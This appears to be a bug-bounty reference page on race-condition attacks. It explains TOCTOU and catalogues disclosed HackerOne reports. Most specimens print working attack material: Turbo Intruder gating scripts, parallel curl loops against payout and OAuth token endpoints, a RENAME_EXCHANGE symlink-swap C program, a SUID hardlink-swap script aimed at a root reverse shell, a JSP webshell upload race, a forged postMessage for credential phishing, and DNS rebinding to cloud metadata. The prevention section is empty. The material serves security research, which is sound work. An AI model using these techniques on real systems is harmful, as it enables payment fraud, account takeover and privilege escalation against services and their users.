⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued βŒ‚
πŸ”Ž
Field Guide/Vulnerabilities/Race Conditions
Vulnerabilities

Race Conditions

Β§Basic information

A race condition is a bug where the correctness of an operation depends on the timing of two or more concurrent actions. In web apps it almost always takes the TOCTOU shape β€” time-of-check to time-of-use: the code reads state ("is this card unused?", "is this user already a member?", "does this host resolve to a safe IP?"), makes a decision, then acts on that decision as a separate, non-atomic step. There is a window between the check and the use.

Fire N copies of the same request so they all land inside that window β€” every copy passes the check before any copy commits its write β€” and the "once only" guarantee collapses. The impact is rarely cosmetic: duplicated payouts, multi-redeemed gift cards, quota/uniqueness bypass, SSRF-filter bypass, and full account takeover all come out of the exact same primitive. The whole game is collapsing the check-then-use window to zero: gate the requests so their final bytes arrive together.

Β§Methodology

  1. Find a check + a use that are two separate operations on the same state, with no lock, no DB unique constraint, and no idempotency key between them ("read balance β†’ credit", "already following? β†’ insert", "resolve host β†’ fetch host").
  2. Capture the single legitimate request (Copy as curl / send to Turbo Intruder) β€” the redeem, claim, join, confirm, follow, or payout POST.
  3. Make each copy uniquely identifiable (add a Test: header) so you can tell winners apart in the response table.
  4. Gate N copies β€” queue them, hold their final bytes, release together so they hit inside the same server tick (single-packet attack on HTTP/2).
  5. Diff the result against one clean request. The tell is more successes than the logic permits: N Γ— 200/201, a balance credited N times, a counter above 1, two "confirmed" rows.
  6. Keep N small (5–30) to avoid DoS-ing the target β€” some races win with as few as 5 parallel requests. Then ask what the inflated thing unlocks before rating impact.
● NOTE
You are not looking for a payload β€” you are looking for a structural gap. There is no special string; the "exploit" is sending an ordinary, already-authorized request many times at once. Grep the flow for a read that decides and a write that acts as two steps.

Β§Technique variants

Identify which shape the target has, then use the matching attack. The first three are pure HTTP concurrency; the rest weaponize timing without needing tight parallelism.

Redeem / claim multiplier (single-use credit)

Any redeem/claim/apply once primitive β€” gift cards, coupons, promos, loyalty/referral claims, one-time rewards, in-app-purchase receipts. Obtain one valid token, then gate N redemptions together. Each winner credits the balance again.

# Turbo Intruder β€” gate N identical requests, fire final bytes simultaneously def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False) for i in range(30): engine.queue(target.req, str(i), gate='race1') # 'Test: %s' keeps each unique engine.openGate('race1') # all final bytes released together engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req)

Non-idempotent state transition (double-spend)

Any endpoint that moves money/credits on a one-time state change β€” confirm, claim, payout, approve, cashout. If it lacks an idempotency guard, N parallel confirmations each disburse. No Turbo Intruder needed for slower transitions β€” a shell & burst wins:

# background-parallel replay of the same authorized confirm/payout request for i in $(seq 1 20); do curl '<COPY-AS-CURL request>' & done; wait

Quota / uniqueness bypass (check-then-insert)

"Max N per account" gates, "already a member?" joins, follow/like/vote counters β€” anything guarded by an app-level SELECT-then-INSERT with no DB unique constraint. Parallel inserts each pass the read and create duplicate rows, which can leave irremovable / corrupt state, not just a bad count.

POST /group/post_join HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded Cookie: <session> csrf=<csrf>&invite=<invite-token> # fire ~5-30 copies via Turbo Intruder gate -> duplicate membership rows

Verify-then-use on the same identifier (TOCTOU)

A token is issued bound to your current value (email/phone), but the value can be mutated separately. Confirm an identifier you don't own by racing the confirm against the change. This is the shape that reaches account takeover.

# (a) issue token for an address you own, hold the confirm link # (b) change the account value to VICTIM's, release, then within ~ms open (a) GET /confirm-email?token=<token-issued-for-attacker-owned-addr> HTTP/1.1 Host: TARGET # the token validates against the account's now-racing (victim) value

Provisioning-window TOCTOU

A resource exists but its entitlement/ownership check hasn't finalized. Pre-stage the privileged call, grab the new object id from an intermediate response, and fire before install/checkout completes.

// pre-stage in DevTools, then race the privileged mutation against the new id fetch("/admin/api/unversioned/graphql", {method:"POST", credentials:"include", headers:{"content-type":"application/json"}, body:JSON.stringify({operationName:"ThemePublishLegacy", variables:{id:"gid://shopify/OnlineStoreTheme/<THEME_ID>"}, query:"mutation ThemePublishLegacy($id:ID!){onlineStoreThemePublish(id:$id){theme{id}userErrors{message}}}"})})

DNS / host re-resolution TOCTOU

Code resolves a hostname once to validate against an allowlist and again to make the request. No timing precision β€” just make the two resolutions differ. This turns a host allowlist / SSRF filter into a race.

# authoritative DNS for a delegated zone, TTL 0, alternating A records: # query 1 -> 203.0.113.10 (passes the allowlist / SSRF filter) # query 2 -> 169.254.169.254 (used for the actual fetch) -> cloud metadata / localhost curl localhost:8001/api/v1/nodes/toctou:80/proxy/

Filesystem stat/access-then-open (native code)

Any lstat/stat/access(path) followed by a separate open/fopen(path) re-resolves the path each syscall. Atomically swap a name between the two with RENAME_EXCHANGE so the check sees one object and the use sees another.

# tight loop atomically flips symlink<->dir between the victim's stat() and fopen() while :; do renameexch a b; done # SYS_renameat2 RENAME_EXCHANGE on names a,b # victim: curl --cookie-jar a URL (also affects HSTS / alt-svc file writes)

Client-side event race

A postMessage / ajax handler that acts on message data with no origin check can be beaten by spamming your forged message ahead of the slow legitimate cross-frame reply β€” pure browser, no proxy.

// spam a forged success message every 10ms to win vs the real network round-trip setInterval(() => victim.postMessage( '{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"https://COLLAB/"}}}', '*'), 10);
β–Έ TIP
Use the gate technique (Turbo Intruder gate='race1', or Burp Repeater "send group in parallel" / single-packet attack) to align the final bytes of many requests. Aligning connection setup is not enough β€” the whole point is that the last byte of every request arrives in the same tick.

Β§Bypasses

Filter / controlBypassSeen in
App-level "already used?" gategate N redemptions together β€” all pass the check before any write#759247, #331940
"Max N per account" quotaparallel resource creation before the counter increments#1913309, #3104355
App "already member?" checkmissing DB unique constraint β†’ parallel inserts create duplicate rows#604534, #1285538
Idempotency assumptionfire confirm/payout NΓ— in parallel before the state flips#429026
Coupon / promo single-usestack one code by racing the redemption check (two browser tabs suffice)#1717650, #157996
Verify-vs-edit on same identifierrace confirm link against the value-change β†’ confirm an unowned email#300305
Entitlement enforced only at creationfire privileged mutation in the provisioning window#953083
SSRF / host allowlist0-TTL rotating DNS: safe IP to the check, forbidden IP to the fetch#859962
stat() follows symlinkspresent a dir to stat(), a symlink to fopen() via RENAME_EXCHANGE#2039870
Library "doesn't follow symlinks"swap subdir→symlink mid-walk; a pre-check cannot fix a TOCTOU#1520931
OAuth token revocationrace the mint endpoint to issue multiple valid tokens#55140
postMessage handlerspam forged message ahead of the real one (no origin check)#381356
β–² WARNING
A counter that merely reads "1000 likes" instead of "1" is not a finding by itself β€” triagers close cosmetic count inflation as informative. Never stop at the inflated number: chase what it unlocks (invite thresholds, credit balance, undeletable state, an entitlement) and report that.

Β§Escalation & impact

Always ask what the inflated / duplicated thing unlocks before rating the race:

Β§Prevention

Β§Tools

✦Specimens β€” real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β€” concrete payload, outcome, and matching practice lab. 42 in this class.

Real-world example

TOCTOU email-verification bypass -> confirm arbitrary email -> store takeover

β—† Critical
Specimen #300305 Β· shopify Β· 15250 Β· 270 votes Β· resolved
Program shopifySurface webChain confirm arbitrary email -> partner collaborator auto-convTag account-takeover

Root cause

The change-email and confirm-email flows were not wrapped in a single DB transaction / row lock, so the ownership check (token issued for value A) and the underlying email value could diverge. Firing the confirm link for an email you own at the same moment the account's email is being switched to the victim's confirms an address you do not control.

Method

  1. Change your partner-account email to an address you own; grab the confirmation link from your inbox but do NOT visit it yet.
  2. Change your email again to the victim (store employee) address; intercept/hold this request.
  3. Release the change-to-victim request, wait a few hundred ms (the change takes ~1100-2500 ms), then in another tab open the confirmation link from step 1.
  4. On a win the victim email is now marked confirmed on your account.
  5. Add the store as a managed store; the staff account with that email auto-converts to a collaborator you control.
# no fixed payload - timing race between: # (a) GET <confirmation link for attacker-owned email> # (b) POST change-email -> victim@store.com (held, then released ~ms before opening (a))

Insight β€” Any 'confirm ownership of email/phone' flow that (a) issues a token bound to your current value and (b) separately lets you mutate that value is race-able. Confirming an unowned identifier frequently unlocks account merges, collaborator/staff auto-linking, and full takeover. Look for verify + edit on the same identifier without a lock.

Real-world example

TOCTOU race in faucet balance check -> exceed max credit limit

β—† Critical
Specimen #1438052 Β· cosmos Β· USD 5000 Β· 59 votes Β· resolved
Program cosmosSurface apiTag account-takeover

Root cause

Starport's faucet Transfer() reads the balance and then sends tokens as two non-atomic steps (backed by a non-concurrency-safe Go map); firing many requests concurrently makes several balance checks observe the pre-send balance, so total minted exceeds coins_max.

Method

  1. Confirm the per-account limit sequentially (e.g. coins_max=11)
  2. Send many concurrent requests (~50) to the faucet for the same address
  3. Balance checks race the sends; account ends up with far more than the cap (e.g. 30)
POST / HTTP/1.1 Host: FAUCET:4500 Content-Type: application/json {"address":"TARGET_ADDRESS"} # fire 50x concurrently (Burp single-packet / Turbo Intruder)

Insight β€” Any check-then-act over a shared limit (faucet, coupon, balance, quota, vote) is a race target. Send concurrent requests (single-packet attack) so multiple reads see the same pre-mutation state. Non-atomic read+write / non-thread-safe maps are the tell.

Real-world example

Gift-card multi-redeem via single-gate race

β—† High
Specimen #759247 Β· reverb Β· awarded Β· 304 votes Β· resolved
Program reverbSurface web

Root cause

Redeem lacked an atomic check-and-mark on the card token, so parallel requests all passed the 'is this card unused?' check before any marked it used (TOCTOU).

Method

  1. Buy a gift card, capture the redeem POST
  2. Turbo Intruder: queue ~30 identical requests behind one gate, openGate to fire simultaneously
  3. Multiple 200 OK -> balance credited N times
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=30, pipeline=False) for i in range(30): engine.queue(target.req, target.baseInput, gate='race1') engine.start(timeout=5) engine.openGate('race1')

Insight β€” Any 'redeem once' / 'apply once' primitive (gift cards, coupons, referral credit, one-time discounts) is a race candidate: fire N concurrent redemptions gated to land together and diff the credited total.

Real-world example

Concurrent connections + ambiguous Content-Length scramble shared response buffers

β—† High
Specimen #187134 Β· portswigger Β· none Β· 32 votes Β· resolved
Program portswiggerSurface other

Root cause

When many connections are released simultaneously with an ambiguous/negative/absent Content-Length and a doctype-like body start, the extension's response handling races on shared buffers, scrambling and leaking content between different requests (memory disclosure across responses).

Method

  1. Stand up an HTTP server that holds N connections then releases them at once
  2. Reply to all with a bogus Content-Length (e.g. negative/-12000 or absent) and a body starting like a doctype '<!...'
  3. The client's concurrent processing scrambles buffers β†’ data leaks between responses (potential ASLR-relevant memory recovery)
HTTP/1.1 200 OK\r\nContent-Length: -12000\r\nMeta:%s:%d\r\nContent-Type: text/html\r\n\r\n<![a-z0-9]{1024}> # release many such conns simultaneously

Insight β€” Client-side HTTP stacks that guess/mishandle Content-Length and share buffers across concurrent connections can be raced to cross-contaminate responses β€” a memory-disclosure primitive. Trigger with a malicious server, ambiguous length, and a doctype start; as few as 4 concurrent threads sufficed.

Real-world example

Tomcat write-enabled default servlet race -> JSP RCE (CVE-2024-50379)

β—† High
Specimen #2905013 Β· ibb Β· awarded Β· 24 votes Β· resolved
Program ibbSurface webChain write-enabled servlet -> TOCTOU race -> JSP RCETag file-upload

Root cause

When Tomcat's default servlet is write-enabled (readonly=false) on a case-insensitive filesystem, concurrent read+upload of the same file under load bypasses the case-sensitivity check, letting an uploaded file be treated and compiled as a JSP.

Method

  1. Confirm default servlet is write-enabled (PUT allowed) on a Windows/case-insensitive host
  2. Concurrently PUT a JSP payload and request it under different case (e.g. shell.Jsp vs shell.jsp) under load
  3. Win the race so the file is served through the JSP engine -> code execution
# PUT (write-enabled default servlet) + concurrent GET, case-varied name PUT /shell.Jsp (JSP webshell body) GET /shell.jsp # race until compiled as JSP

Insight β€” Case-insensitive filesystems + partial/write-enabled DAV are a recurring bypass for extension/case blocklists; TOCTOU races between the security check and the file handler can turn an 'inert' upload into executable content.

Real-world example

Recursive-delete symlink TOCTOU (remove_dir_all) -> privileged deletion outside tree

β—† High
Specimen #1520931 Β· ibb Β· 4000 Β· 9 votes Β· resolved
Program ibbSurface otherChain unprivileged write access -> trick privileged remove_dir_

Root cause

std::fs::remove_dir_all checked whether each entry was a symlink and, if not, recursed/deleted by path. Because the check and the subsequent open/delete both re-resolve the path, an attacker with write access to the tree can replace a subdirectory with a symlink between check and use, so the privileged deletion follows the symlink out of the intended tree.

Method

  1. A privileged process calls remove_dir_all on a directory the attacker can write to (e.g. temp/).
  2. The attacker repeatedly swaps a descendant subdir for a symlink pointing at a sensitive target while the walk is in progress.
  3. On a win the recursion follows the symlink and deletes files/dirs the attacker could not otherwise remove (reliable within seconds).
// PoC concept: while the privileged remove_dir_all(temp/) runs, // race: rename(temp/sub -> ...) then symlink(sensitive_target -> temp/sub) // so the recursive delete resolves temp/sub to sensitive_target.

Insight β€” 'Check if symlink, then delete by path' cannot be made safe with a pre-call check - the path is re-resolved every syscall (TOCTOU). Secure recursive filesystem ops must open a directory fd once and use the *at() family (openat/unlinkat/O_NOFOLLOW) so names are resolved relative to a pinned fd, never re-resolved. Same lesson applies to recursive copy/chown/chmod utilities.

Real-world example

TOCTOU race on SUID helper that validates then execs an unlocked binary (via hardlink)

β—† High
Specimen #1251464 Β· acronis Β· awarded Β· 8 votes Β· resolved
Program acronisSurface desktop

Root cause

A SUID (root) binary validates a companion executable ('console') and then execs it without locking it; a hardlink lets the attacker place the run in a writable directory and swap 'console' between the check and the exec, winning a race to run code as root.

Method

  1. Hardlink the SUID binary and the companion into an attacker-writable directory
  2. Repeatedly launch the SUID binary while swapping console for a malicious binary after validation but before execution
  3. On a win, root executes the attacker binary (e.g. reverse shell via mkfifo/nc)
os.link('/Applications/Acronis True Image.app/Contents/MacOS/Acronis True Image','./run') os.link('/Applications/Acronis True Image.app/Contents/MacOS/console','./console') lag=0.01 while True: os.popen('./run') time.sleep(lag) os.unlink('./console'); os.link('./a.out','./console') # swap in payload time.sleep(1.0) os.unlink('./console'); os.link('.../MacOS/console','./console') # restore lag+=0.01 if os.path.exists('./pass'): exit()

Insight β€” Any privileged 'verify a file, then run it' flow that doesn't hold an exclusive lock/fd across check-and-use is a TOCTOU. Hardlinking into a writable working dir + a tight swap loop wins the race. Look for signature/hash checks on sibling binaries in SUID/helper tools.

Real-world example

Non-idempotent payout endpoint -> duplicated payments

β—† Medium
Specimen #429026 Β· security Β· awarded Β· 237 votes Β· resolved
Program securitySurface web

Root cause

The 'confirm retest' action triggered a payment on a state transition without an idempotency guard, so N parallel confirmations each disbursed money.

Method

  1. Capture the one-time 'confirm retest' request (Copy as curl in Burp).
  2. Fire it many times in parallel from the shell so all copies hit before the state flips.
  3. Observe multiple retest payments queued; confirmed weeks later by an actual repeated bank transfer.
# background-parallel replay of the same confirm request: curl '<confirm-retest request>' & \ curl '<confirm-retest request>' & \ curl '<confirm-retest request>' & \ curl '<confirm-retest request>' & \ curl '<confirm-retest request>' &

Insight β€” Any endpoint that moves money/credits on a one-time state change ('confirm', 'claim', 'payout', 'approve') must be idempotent. Test by firing N copies in parallel with shell '&' or turbo intruder; a successful double-spend can go unnoticed for weeks by both sides.

Real-world example

Race the one-time loyalty-claim link to multiply the bonus

β—† Medium
Specimen #331940 Β· vend_vdp Β· none Β· 94 votes Β· resolved
Program vend_vdpSurface web

Root cause

The loyalty-claim endpoint checks 'already claimed?' and credits the bonus non-atomically (TOCTOU), so firing the same claim POST concurrently credits the bonus N times before the first write commits.

Method

  1. Make a sale and add a first-time customer to trigger a loyalty-claim email/link
  2. Capture the claim POST
  3. Send it 1-50 times concurrently (Burp Turbo Intruder / single-packet)
  4. Each parallel request that wins the race credits the bonus again
POST /loyalty/claim/CLAIM_ID HTTP/1.1 Host: store.vendhq.com # replay concurrently x N (Turbo Intruder / single-packet attack)

Insight β€” Any 'one-time' credit/redeem/claim (coupon, referral, loyalty, gift card, cashout) is a race candidate. Fire the same request in a tight parallel burst; the guard is usually a read-then-write with no DB lock. Keep N small to avoid DoS.

Real-world example

Race condition to claim a limited free item multiple times

β—† Medium
Specimen #2616045 Β· automattic Β· awarded Β· 92 votes Β· resolved
Program automatticSurface web

Root cause

A one-per-account 'free' grant is enforced only by a read-then-write check with no atomic lock, so parallel requests all pass the check before any writes the counter.

Method

  1. Complete the free-item claim flow (free custom domain) up to the final purchase/transaction request
  2. Capture the POST to the transaction endpoint (public-api.wordpress.com/rest/v1.1/me/transactions)
  3. Duplicate the request 10-15x into a Burp parallel group, altering the 'meta' name each copy
  4. Fire all requests simultaneously (single-packet / parallel) so they race the eligibility check
  5. Observe more than one free domain provisioned
POST /rest/v1.1/me/transactions (send 10-15 copies in parallel, vary the `meta` param each)

Insight β€” Any 'one free X per account' limit that isn't wrapped in a DB transaction/lock is a race target; look for claim/checkout endpoints and fire them as a parallel group.

Real-world example

Race condition to exceed a per-account quota/limit

β—† Medium
Specimen #3104355 Β· dust Β· none Β· 64 votes Β· resolved
Program dustSurface web

Root cause

A hard limit (folders, workspaces, subscribers) is checked then incremented non-atomically; firing many create requests concurrently lets them all pass the check before the count updates.

Method

  1. Reach the enforced limit so the UI blocks further creation
  2. Optionally free one slot (delete one) to sit just under the cap
  3. Send a burst of simultaneous create requests (Turbo Intruder / parallel group)
  4. End state exceeds the limit
Send N concurrent POSTs to the create endpoint (CreateFolder / CreateWorkspace / CreateAlertReceivers)

Insight β€” Every 'max N per account' guard implemented as check-then-create is a TOCTOU race; the quickest transferable test on any quota is a concurrent burst against its create endpoint.

Real-world example

OAuth token endpoint race condition mints multiple tokens, defeats revocation

β—† Medium
Specimen #55140 Β· ibb Β· awarded Β· 50 votes Β· resolved
Program ibbSurface apiTag oauthTag account-takeover

Root cause

OAuth /token endpoint processes concurrent grant requests without locking the single-use code/refresh_token, so a burst of parallel requests each yields a distinct valid access_token/refresh_token pair. Revoking one (or the app authorization) leaves the others live.

Method

  1. Register an OAuth app and complete authorize to obtain a single-use authorization code (or a refresh_token).
  2. Fire ~20 identical grant_type=authorization_code (or refresh_token) requests in parallel before the server marks the code/token consumed.
  3. Collect the multiple distinct access_token values returned and verify each against a simple API call (GET /api/me).
  4. Revoke the app in account settings or revoke one token, then re-test the others: on vulnerable providers the rest stay valid.
#!/bin/bash for i in $(seq 1 20); do curl --data "grant_type=authorization_code&code=CODE&client_id=ID&client_secret=SECRET&redirect_uri=REDIRECT" \ "https://OAUTH_PROVIDER/oauth/token" & done wait # refresh_token variant is worse: each success yields a fresh refresh_token, so pairs grow unbounded

Insight β€” Any single-use token/code endpoint is a race target. Parallelize the redemption; if you get >1 valid token, the consume/lock is non-atomic. The refresh_token variant is unbounded and neuters revocation entirely.

Real-world example

Race: alter repo permissions via GraphQL during repo transfer/detach -> covert persistent admin

β—† Medium
Specimen #2216036 Β· github Β· awarded Β· 50 votes Β· resolved
Program githubSurface graphqlTag graphql

Root cause

During a repository transfer (or detach) the permission-reconciliation is not atomic. Firing the updateTeamsRepository GraphQL mutation inside that window lets a departing admin re-grant themselves admin, which survives the transfer covertly.

Method

  1. Initiate a repo transfer (REST) / or have it detached.
  2. Concurrently send updateTeamsRepository GraphQL mutations setting your team's permission to admin during the transfer window.
  3. After transfer completes, the admin grant persists though it should have been revoked.
mutation { updateTeamsRepository(input:{repositoryId:"<id>", teamIds:["<team>"], permission: ADMIN}) { clientMutationId } } # fire repeatedly, concurrently with the transfer/detach REST call

Insight β€” State-transition operations (ownership transfer, detach, plan downgrade) are TOCTOU-prone: hammer permission/role mutations during the transition. Two API surfaces (REST transfer + GraphQL mutation) touching the same ACL is a classic race source.

Real-world example

In-app-purchase receipt-verification replay -> coin/credit inflation

β—† Medium
Specimen #801743 Β· reddit Β· awarded Β· 40 votes Β· resolved
Program redditSurface api

Root cause

The purchase-verification endpoint credits coins per request without atomically marking the transaction_id/purchase token as consumed, so replaying the same receipt in parallel credits the account multiple times for one purchase.

Method

  1. Buy the smallest coin package in the Android app and intercept the verify_purchase call.
  2. Replay the identical request (same transaction_id + token) many times in parallel before the receipt is marked used.
  3. Most parallel copies succeed (9/10 in testing) -> Nx the coins for a single purchase.
POST /api/v2/gold/android/verify_purchase?... HTTP/1.1 Host: oauth.reddit.com Authorization: Bearer <token> Content-Type: application/x-www-form-urlencoded transaction_id=GPA.XXXX-XXXX-XXXX-XXXXX&token=<play-token>&package_name=com.reddit.frontpage&product_id=com.reddit.coins_1&correlation_id=<uuid> # fire N copies in parallel

Insight β€” IAP / payment-receipt / webhook-verification endpoints must atomically consume the receipt or transaction id (unique constraint) before granting value. Racing the same receipt/token before it is marked consumed multiplies the credited goods. Test any 'verify payment', 'redeem receipt', or 'confirm order' endpoint this way.

Real-world example

Race condition mints unlimited invites (+ cancel-refund recycle)

β—† Medium
Specimen #1460373 Β· fetlife Β· awarded Β· 30 votes Β· resolved
Program fetlifeSurface web

Root cause

The remaining-invites check and decrement are not atomic; multiple concurrent POSTs each pass the check before any of them decrement, so one invite credit yields many. Cancelling a sent invite also refunds the credit, allowing further recycling.

Method

  1. Save session cookie and authenticity_token
  2. Fire ~10 concurrent POST /users/invitation requests (each with a distinct email)
  3. All succeed at the cost of one invite
  4. Optionally cancel invites to refund credits and repeat
curl 'https://fetlife.com/users/invitation' -H 'Cookie: _fl_sessionid={sid}' --data 'authenticity_token={tok}&user%5Bemail%5D=a%2B1%40x.com' & curl ... (x10 in parallel)

Insight β€” Any 'limited quantity' action (invites, credits, coupons, votes) is a race target: fire N parallel requests. Also probe cancel/refund flows that return the quota so it can be recycled indefinitely.

Real-world example

Filesystem TOCTOU: stat()-then-fopen() symlink swap via renameat2 RENAME_EXCHANGE

β—† Medium
Specimen #2039870 Β· curl Β· none Β· 26 votes Β· resolved
Program curlSurface otherChain file overwrite of protected files (integrity/DoS) OR redirec

Root cause

Curl_fopen calls stat(path) to decide a file is a non-regular file/fallback, then fopen(path) separately. Between the two, an attacker atomically swaps a directory and a symlink at that path (renameat2 with RENAME_EXCHANGE) so fopen follows a symlink to a protected file the victim owns.

Method

  1. Attacker in a shared/writable dir loops renameat2(RENAME_EXCHANGE) swapping a symlink 'a'->flag with a directory 'b'.
  2. Victim (e.g. root) runs curl writing to that path: curl --cookie-jar a URL.
  3. If the swap lands so stat() sees a directory but fopen() opens the symlink, curl overwrites the protected target or writes sensitive cookies into an attacker-controlled file.
// atomically swap two names in a tight loop to win the race: #define _GNU_SOURCE #include <fcntl.h> #include <linux/fs.h> #include <unistd.h> #include <sys/syscall.h> int main(int argc, char *argv[]) { while (1) syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE); } // victim: curl --cookie-jar a google.com (also affects HSTS / alt-svc file writes)

Insight β€” The archetypal filesystem TOCTOU: any check(path) followed by a separate open(path) is race-able because the kernel re-resolves the path each syscall. RENAME_EXCHANGE gives an attacker an atomic, reliable symlink<->dir flip so the check and the open see different objects. Grep native code for lstat/stat/access followed by open/fopen on the same path; the fix is O_NOFOLLOW / openat on a pinned fd.

Real-world example

Race check-then-send email endpoint to flood a victim

β—† Medium
Specimen #1293377 Β· khanacademy Β· none Β· 16 votes Β· resolved
Program khanacademySurface graphqlTag graphql

Root cause

requestAuthEmail checks 'is this email already linked?' then sends a confirmation email as separate non-atomic steps; concurrent requests all pass the check and each send an email to an arbitrary target address.

Method

  1. Start the 'connect another email' flow and intercept the requestAuthEmail GraphQL POST
  2. Downgrade to HTTP/1.1, tag with 'X-Request: %s' and send to Turbo Intruder
  3. Fire ~30 gated concurrent requests; the target address receives ~30 signup emails
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False) for i in range(30): engine.queue(target.req, target.baseInput, gate='race1') engine.openGate('race1')

Insight β€” Even when a normal duplicate request is rejected ('email already added'), racing the endpoint bypasses the guard and turns any user-triggered email send into an email-bombing / spam-relay primitive against arbitrary recipients.

Real-world example

Double DNS-resolution TOCTOU -> SSRF filter (allowlist) bypass via 0-TTL DNS

β—† Medium
Specimen #859962 Β· kubernetes Β· awarded Β· 7 votes Β· resolved
Program kubernetesSurface otherChain DNS TOCTOU -> apiserver proxy SSRF -> cloud metadata /Tag cloud-aws

Root cause

The apiserver proxy resolved a node's hostname once to validate it against a filter and again to actually make the proxied request. An attacker-controlled authoritative DNS server returning different answers per query (TTL 0) returns a safe IP for the validation resolve and a forbidden IP (169.254.169.254 / localhost) for the request resolve.

Method

  1. Stand up an authoritative DNS server for a delegated zone that returns a different A record on each consecutive query (TTL 0).
  2. Register a Node whose address is a hostname in that zone.
  3. Send a request through the apiserver proxy (kubectl proxy; curl localhost:8001/api/v1/nodes/<name>:80/proxy/).
  4. First resolve passes the filter; second resolve points at cloud metadata or a localhost service -> SSRF.
# authoritative DNS returns alternating answers with TTL 0: # query 1 -> 203.0.113.10 (passes apiserver filter) # query 2 -> 169.254.169.254 (used for the actual proxied fetch) curl localhost:8001/api/v1/nodes/toctou:80/proxy/

Insight β€” Whenever code resolves a hostname for a security check and then re-resolves it for the actual fetch, a 0-TTL rotating DNS record (DNS-rebinding-style TOCTOU) defeats the allowlist/SSRF filter. The fix is resolve-once-and-pin: validate and connect using the SAME resolved IP. Probe any URL/host allowlist that accepts hostnames with attacker-controlled DNS.

Real-world example

TOCTOU driver swap: replace signed driver between integrity check and install

β—† Medium
Specimen #852091 Β· valve Β· awarded Β· 22 votes Β· resolved
Program valveSurface desktopChain TOCTOU file swap -> malicious kernel driver install ->

Root cause

Steam verifies file integrity at startup and re-downloads tampered files, but the SteamStreaming .sys drivers are installed on first Remote Play use; there is a window after the integrity check and before install where a non-admin user can overwrite the driver file, so the modified (unsigned/malicious) driver is installed with kernel privileges.

Method

  1. Start Steam and let it verify/restore files
  2. Trigger driver install path (first Remote Play stream) but overwrite C:\Program Files (x86)\Steam\drivers\Windows10\x64\SteamStreamingMicrophone.sys after the check, before install
  3. Steam installs the attacker's driver -> arbitrary kernel-mode code

Insight β€” Any privileged installer/updater that (1) validates a file then (2) later consumes it from a user-writable path is a TOCTOU target. Look for the validate->use gap and win the race by replacing the file in the window (or with an oplock/symlink).

Real-world example

Race a forged postMessage (no origin check) to hijack followUpUrl

β—† Low
Specimen #381356 Β· security Β· awarded Β· 153 votes Β· resolved
Program securitySurface web

Root cause

A Marketo form listener on the parent origin accepted postMessages without verifying event.origin; if the message signalled success and the form lacked onSuccess, the parent navigated to an attacker-supplied followUpUrl.

Method

  1. Open victim page (form auto-opens via #contact) in a new window
  2. Spam forged success postMessages carrying followUpUrl every ~10ms to win the race vs the real Marketo response
  3. Pick a form with no onSuccess (mktoForm_1013); parent sets location.href = followUpUrl
  4. On Safari use a data: URL to render a fake login and harvest creds
b.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"data:text/html;base64,<fake login>"}}}','*')

Insight β€” Any window.addEventListener('message') without an origin allowlist is attackable; if the handler drives navigation/DOM from message data, race your forged message ahead of the legitimate cross-frame reply. Client-side races don't need Turbo Intruder -- just spam before the real event.

Real-world example

Duplicate membership rows via parallel join -> irremovable member / broken state

β—† Low
Specimen #604534 Β· security Β· awarded Β· 151 votes Β· resolved
Program securitySurface web

Root cause

The group-join handler checks 'is user already a member?' then inserts a membership row with no unique constraint, so parallel joins each pass the check and create duplicate rows. Deletion logic then cannot fully remove the user, leaving persistent/broken state.

Method

  1. As a normal user, obtain a valid group invite link.
  2. Send the POST /group/post_join request many times in parallel (5 parallel requests sufficed).
  3. You are added 2+ times; the group leader can no longer remove you and neither can you remove yourself.
POST /group/post_join HTTP/1.1 Host: ctf.hacker101.com Content-Type: application/x-www-form-urlencoded Cookie: <session> csrf=<csrf>&invite=<invite-token> # fire ~5-30 copies in parallel (turbo intruder gate)

Insight β€” Race conditions do not only inflate counters - duplicate rows from a missing unique constraint can produce IRREMOVABLE or otherwise corrupt state (persistence, self-DoS on the resource). When auditing join/link/relationship tables, check for a DB unique constraint, not just an app-level 'already exists?' check.

Real-world example

Vote-count race: parallel POST /votes lets one account upvote a report repeatedly

β—† Low
Specimen #146845 Β· security Β· awarded Β· 124 votes Β· resolved
Program securitySurface web

Root cause

The upvote endpoint checks 'already voted' then increments without atomicity, so many concurrent POST /reports/<id>/votes from one session race the check and each bump the counter, inflating a report's rank.

Method

  1. Capture the authenticated POST /reports/<id>/votes request (with CSRF token)
  2. Replay it concurrently from many threads before the first vote commits
  3. Counter increments multiple times for a single account (vote_count 48 -> 49 -> ...)
POST /reports/127158/votes HTTP/1.1 (X-CSRF-Token, session) # fire N in parallel

Insight β€” Any 'one action per user' counter (votes, likes, redemptions, follows) that does check-then-increment without a DB constraint or lock is racy. Fire the request with a burst / single-packet attack to beat the uniqueness check.

Real-world example

Counter inflation on single-allowed actions (follow/like/react) via parallel requests

β—† Low
Specimen #927384 Β· stagingdoteverydotorg Β· none Β· 112 votes Β· resolved
Program stagingdoteverydotorgSurface web

Root cause

Idempotent user actions (follow, like, react, vote) are guarded by a check-then-insert ('already following?') with no atomic/unique constraint, so parallel requests each pass the check and the action is recorded multiple times.

Method

  1. Capture the single 'Follow'/'Like'/'React' request.
  2. Send it to Turbo Intruder and use the gate technique to release all final bytes together.
  3. Multiple 201/200 responses = action counted multiple times from one account.
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False) for i in range(30): engine.queue(target.req, str(i), gate='race1') engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) # add a header 'Test: %s' to make each request unique for the wordlist

